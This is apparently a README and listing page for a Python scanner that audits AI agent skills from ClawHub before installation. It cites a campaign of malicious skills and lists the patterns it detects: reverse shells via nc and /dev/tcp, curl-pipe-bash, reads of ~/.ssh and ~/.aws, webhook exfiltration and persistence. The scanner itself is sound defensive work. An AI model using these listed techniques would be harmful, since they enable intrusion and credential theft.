Setup snapshot

git clone https://github.com/amir-ag/clawhub-skill-scanner.git

1
Setup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.
2
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.

Full README

name: clawhub-skill-scanner description: > Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.

Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

When to Use

Run this audit BEFORE any skill installation:

clawhub install <skill>
Manual skill download/copy
Skills from GitHub, URLs, or untrusted sources

Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

What It Detects

🔴 CRITICAL (Blocks Installation)

| Category | Patterns | |----------|----------| | Reverse Shells | nc -e, bash /dev/tcp, Python socket shells | | Curl-Pipe-Bash | curl \| bash, wget && chmod +x | | Credential Access | ~/.ssh, ~/.aws, ~/.openclaw, .env files | | Data Exfiltration | Discord/Slack webhooks, POST with secrets | | Malicious Domains | glot.io, pastebin (known malware hosts) | | Persistence | crontab, systemd, LaunchAgents, .bashrc | | Command Injection | eval(), exec(), subprocess shell=True | | Obfuscation | base64 decode pipes, pickle, marshal |

🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

Raw socket usage (unusual for most skills)
Dynamic code compilation
File/directory deletion
Screenshot/keyboard capture libraries
Low-level system calls (ctypes)

Philosophy

We intentionally don't warn on common patterns like:

HTTP requests (normal for API skills)
API key references (normal for integration skills)
File writes (normal for data skills)
Environment variable access (normal for config)

This reduces noise so real threats stand out.

Risk Scoring

CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution

| Score | Level | Action | |-------|-------|--------| | 0-20 | 🟢 SAFE | Auto-approve | | 21-50 | 🟡 CAUTION | Review findings | | 51-80 | 🔶 DANGER | Detailed review required | | 81-100 | 🔴 BLOCKED | Do NOT install |

Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"
